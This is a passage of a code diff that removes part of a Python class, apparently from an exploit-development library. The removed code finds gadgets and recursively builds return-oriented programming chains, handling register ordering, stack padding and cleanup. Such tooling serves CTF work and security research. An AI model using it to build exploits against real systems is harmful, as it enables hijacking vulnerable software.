self.search_gadgets(*arch.writegad) - - for gad in results: - d = gad.asm[0].group("dst") - s = gad.asm[0].group("src") - - try: - # Assert requirements are met. - gadget = GadHint(gad, writes={d: s}, requirements={d:dst, s:src}) - self.__discover_requirements(set(), TopologicalSorter(), gadget) - return gadget - except: - pass - - raise LookupError("ROP: Need to define gadgets for memory write / deps") - - def __build_chain(self, gadget, sets): - """ - Generate ROP chain data for a given gadget. - - This function recursively builds a ROP chain for the given gadget and - its requirements, returning the result as a Payload. - - gadget (GadHint): Current gadget to process. - - sets (dict{str:int}): The set of other register requirements we are - trying to fulfill in parallel. - """ - # Form a to-do-list of registers from our immediate requirements, - # attempting to order them such that we avoid overwriting/conflicting - # values. This may not be possible, in which case graph.static_order() - # will raise an exception. - reqs = gadget.requirements - graph = TopologicalSorter({ r:set() for r in reqs }) - self.__discover_requirements(set(), graph, gadget) - to_do_list = [ x for x in graph.static_order() if x in reqs ] - - chain = Payload() - - # Start chain by satisfying to-do-list requirements. - if len(to_do_list) > 0: - chain.requirements = Payload() - - while len(to_do_list) > 0: - r = to_do_list[0] - g = self.__get_gadget(r, reqs) - c = self.__build_chain(g, reqs) - chain.requirements[f"{r}_{reqs[r]}"] = c - - # This gadget may satisfy multiple items in the to-do-list. - # Specifically, all of its pop and mov targets, and any load - # immediates that match our requirements. Non-matching - # immediates will be handled by a later gadget. - imms = g.imms.keys() & reqs.keys() - imms = [ x for x in imms if g.imms[x] == reqs[x] ] - done = g.pops + list(g.movs) + imms - to_do_list = [ x for x in to_do_list if x not in done ] - - # Append chain data to execute this gadget, but respect offset == 0 - # as a way to disable this gadget (perform a NULL gadget). - if gadget.offset != 0: - # Stack alignment if required. - if gadget.align: - ret = self.__get_gadget("ret", {}) - chain.alignment = padalign(0, itob(ret)) - - # "Return address" entry into this gadget. - chain.gadget = gadget.offset - - # The gadget's "inner stack data" will be values to be popped and - # additional junk data to be deallocated by the gadget itself. - if gadget.pops or gadget.spm > 0: - chain.inner = Payload() - chain.inner(*[ sets.get(p, _POP_MAGIC) for p in gadget.pops ]) - if gadget.spm > 0: - chain.inner.pad = padlen(gadget.spm, _SPM_MAGIC) - - # The gadget's "outer stack data" will be the additional values - # explicitly specified by the gadget. Append a separate gadget - # to clean up these values. - if gadget.stack: - size = len(gadget.stack) * arch.wordsize - - if self.clean_stack: - clean = self.__get_clean(size) - chain.cleanup = clean.offset - pad = padlen(clean.spm, _SPM_MAGIC) - else: - chain.cleanup = _ERROR_MAGIC - pad = None - - chain.outer = Payload() - chain.outer(*gadget.stack) - if pad: chain.outer.pad = pad - - return chain |